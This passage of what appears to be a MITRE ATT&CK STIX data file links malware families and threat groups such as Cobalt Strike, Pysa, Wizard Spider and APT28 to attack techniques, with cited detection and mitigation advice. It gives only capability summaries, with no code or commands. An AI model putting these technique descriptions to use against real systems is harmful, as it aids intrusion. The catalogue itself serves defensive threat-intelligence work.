RegisteredOrganization, and InstallDate registry values.(Citation: CyberBit Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19ed775b-d3cb-48ec-916a-c26e7539ccc6","type":"relationship","created":"2020-02-20T14:31:35.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-20T14:31:35.072Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103","target_ref":"attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--49df789a-5d6c-4820-af9f-7c4484531680","type":"relationship","created":"2022-01-05T22:19:18.237Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. 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Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.244Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can use process hollowing for execution.(Citation: Cobalt Strike TTPs Dec 2017)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3cd0e385-3c60-4742-b3a6-c07dbf10ba45","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html","description":"Singh, S. et al.. (2018, March 13). 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Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505","source_name":"Proofpoint TA505 Jan 2019"},{"source_name":"Deep Instinct TA505 Apr 2019","url":"https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/","description":"Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. 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Retrieved March 1, 2021."}],"modified":"2021-03-02T16:42:09.500Z","description":"[Pysa](https://attack.mitre.org/software/S0583) can stop services and processes.(Citation: CERT-FR PYSA April 2020) ","relationship_type":"uses","source_ref":"malware--a19c1197-9414-46e3-986f-0f609ff4a46b","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00a88d6f-fa8c-48bf-a028-fb75ca04e000","type":"relationship","created":"2020-11-10T16:49:13.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."}],"modified":"2020-11-10T16:49:13.291Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) obtained a code signing certificate signed by Digicert for some of its malware.(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d2ebfcb-0b2c-4c69-877e-2ca633c95a17","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. 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Retrieved May 29, 2020."}],"modified":"2020-06-01T14:41:54.778Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to identify the OS version, country code, and computer name.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--718fad77-0006-461a-9a46-337defcf44ac","type":"relationship","created":"2020-01-22T15:05:05.777Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-01-22T15:05:05.777Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--64eefbfb-5241-4325-919d-4739504644c2","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. 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This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file. Consider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2852e21-c31a-482a-85fd-00d0990ee8ea","type":"relationship","created":"2021-02-09T14:35:39.656Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Bad Rabbit","url":"https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/","description":"M.Léveille, M-E.. (2017, October 24). Bad Rabbit: Not‑Petya is back with improved ransomware. Retrieved January 28, 2021."}],"modified":"2021-10-15T21:11:22.399Z","description":"[Bad Rabbit](https://attack.mitre.org/software/S0606) has used various Windows API calls.(Citation: ESET Bad Rabbit)","relationship_type":"uses","source_ref":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d3a3d5c2-a7d0-41b8-9f27-4fafc47ec97d","created":"2022-04-22T18:50:50.487Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"","modified":"2022-04-22T18:50:50.487Z","relationship_type":"revoked-by","source_ref":"attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9","target_ref":"attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da734f6c-de0d-44f1-9521-6607b800ad43","type":"relationship","created":"2017-05-31T21:33:27.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-dropping-elephant-actor/75328/","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant – aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.","source_name":"Securelist Dropping Elephant"},{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"}],"modified":"2020-03-19T19:58:57.945Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) payloads download additional files from the C2 server.(Citation: Securelist Dropping Elephant)(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e36e7b1a-aa7b-4354-92d4-4373b9911b51","type":"relationship","created":"2020-10-20T03:37:41.019Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-04-15T03:50:44.248Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d4effdd-6d91-473d-aa81-d121f1c77881","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2020-03-16T17:49:19.659Z","description":"[SslMM](https://attack.mitre.org/software/S0058) creates a new thread implementing a keylogging facility using Windows Keyboard Accelerators.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4aaa3063-d1b0-4c13-aa6d-829000f05aec","type":"relationship","created":"2020-11-10T19:09:21.480Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-10T19:09:21.480Z","description":"[Javali](https://attack.mitre.org/software/S0528) has achieved execution through victims clicking links to malicious websites.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--64122557-5940-4271-9123-25bfc0c693db","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3efc2e37-4179-42d6-89c8-f48dc4d9a8a7","created":"2022-03-30T14:26:51.835Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor network traffic content for evidence of data exfiltration, such as gratuitous or anomalous outbound traffic containing collected data. Consider correlation with process monitoring and command lines associated with collection and exfiltration.","modified":"2022-04-12T13:11:58.155Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--685da2a8-4205-4773-982b-5954393c70f8","type":"relationship","created":"2020-02-25T15:26:32.215Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-19T03:18:43.754Z","description":"Ensure all application component binaries are signed by the correct application developers.","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b16afb1a-b6ee-4cfb-9fb1-966478828480","type":"relationship","created":"2022-01-27T18:04:46.509Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"modified":"2022-01-27T18:04:46.509Z","description":" [Bisonal](https://attack.mitre.org/software/S0268) has added the exfiltrated data to the URL over the C2 channel.(Citation: Talos Bisonal Mar 2020) ","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3b1f90e-6b04-4e6f-99ae-e63b1607f72c","type":"relationship","created":"2021-07-22T19:36:52.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA and ASD Detect and Prevent Web Shells 2020","url":"https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF","description":"NSA and ASD. (2020, April 3). Detect and Prevent Web Shell Malware. Retrieved July 23, 2021."}],"modified":"2021-07-26T13:46:48.225Z","description":"Enforce the principle of least privilege by limiting privileges of user accounts so only authorized accounts can modify the web directory.(Citation: NSA and ASD Detect and Prevent Web Shells 2020)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00876444-466d-40fe-8de5-0c13fcd0ea1a","type":"relationship","created":"2020-10-15T16:47:27.531Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-02-17T13:12:51.765Z","description":"Make sure that the <code>HISTCONTROL</code> environment variable is set to “ignoredups” instead of “ignoreboth” or “ignorespace”.","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7f58088d-9b5d-46ba-b9e4-fc937ffae294","type":"relationship","created":"2021-03-31T19:54:46.818Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM MegaCortex","url":"https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/","description":"Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."}],"modified":"2021-03-31T19:54:46.818Z","description":"[MegaCortex](https://attack.mitre.org/software/S0576) can stop and disable services on the system.(Citation: IBM MegaCortex) ","relationship_type":"uses","source_ref":"malware--909617c3-6d87-4330-8f32-bd3af38c3b92","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6c9fa0e-988e-4c14-a30f-d6576572a2d9","type":"relationship","created":"2020-06-26T16:17:18.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T21:37:56.050Z","description":"[Goopy](https://attack.mitre.org/software/S0477) has the ability to  enumerate the infected system's user name via <code>GetUserNameW</code>.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2e74982-a4a6-428f-888a-a910453b7e82","type":"relationship","created":"2019-06-13T19:12:07.352Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.","url":"http://blog.morphisec.com/security-alert-fin8-is-back","source_name":"Morphisec ShellTea June 2019"}],"modified":"2019-06-28T20:48:52.704Z","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has hashed most its code's functions and encrypted payloads with base64 and XOR.(Citation: Morphisec ShellTea June 2019)","relationship_type":"uses","source_ref":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3503cf12-e618-44b9-ac48-e1f1d7939767","type":"relationship","created":"2021-03-03T20:26:15.777Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-03T20:26:15.777Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) can install itself as a service.(Citation: CISA AppleJeus Feb 2021) ","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2cbaf5dd-8b53-427f-ae00-9cda47125d5b","type":"relationship","created":"2021-01-14T20:28:31.227Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Pawn Storm Dec 2020","url":"https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html","description":"Hacquebord, F., Remorin, L. (2020, December 17). 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Retrieved January 13, 2021."}],"modified":"2021-01-14T20:28:31.227Z","description":"[APT28](https://attack.mitre.org/groups/G0007) can exfiltrate data over Google Drive.(Citation: TrendMicro Pawn Storm Dec 2020) ","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b849b1ae-0b73-484c-9061-38ddf3cbdbb3","type":"relationship","created":"2020-03-15T16:21:45.240Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-03-15T16:21:45.240Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--86e8f395-3c57-4602-8e7c-30058d05a655","type":"relationship","created":"2019-09-13T13:17:26.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Machete Aug 2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."},{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"},{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020."}],"modified":"2020-11-23T22:25:18.177Z","description":"[Machete](https://attack.mitre.org/software/S0409) captures audio from the computer’s microphone.(Citation: Securelist Machete Aug 2014)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6dc02a8-2ce3-45db-a7e5-e475d6acec3c","type":"relationship","created":"2020-05-08T17:01:36.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Silence Sept 2018","url":"https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf","description":"Group-IB. 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Retrieved March 24, 2021."}],"modified":"2021-04-14T19:19:30.200Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) has included embedded Visual Basic scripts in malicious documents.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--775f9337-6cab-49f6-850e-af3038f0c806","type":"relationship","created":"2020-10-19T19:53:10.828Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Deploy Signed IOS","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#34","description":"Cisco. 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(2020, February). Uncovering DRBControl. Retrieved November 12, 2021."},{"source_name":"Talent-Jump Clambling February 2020","url":"https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/","description":"Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021."}],"modified":"2021-11-23T15:26:58.688Z","description":"[Clambling](https://attack.mitre.org/software/S0660) can identify the username on a compromised host.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5b5a618e-3a67-4223-a158-af4ce7e0c7d9","type":"relationship","created":"2020-07-23T17:01:00.356Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Ebury Feb 2014","url":"https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/","description":"M.Léveillé, M.. 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Retrieved April 19, 2019."}],"modified":"2020-07-23T17:01:00.356Z","description":"[Ebury](https://attack.mitre.org/software/S0377) can intercept private keys using a trojanized <code>ssh-add</code> function.(Citation: ESET Ebury Feb 2014)","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05491bb5-e209-4480-a1a8-9b385efe14ad","type":"relationship","created":"2019-08-15T13:46:20.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Astaroth Feb 2019","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research","description":"Salem, E. (2019, February 13). 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Retrieved September 20, 2021."}],"modified":"2021-10-15T20:31:12.322Z","description":"[SpicyOmelette](https://attack.mitre.org/software/S0646) has collected data and other information from a compromised host.(Citation: Secureworks GOLD KINGSWOOD September 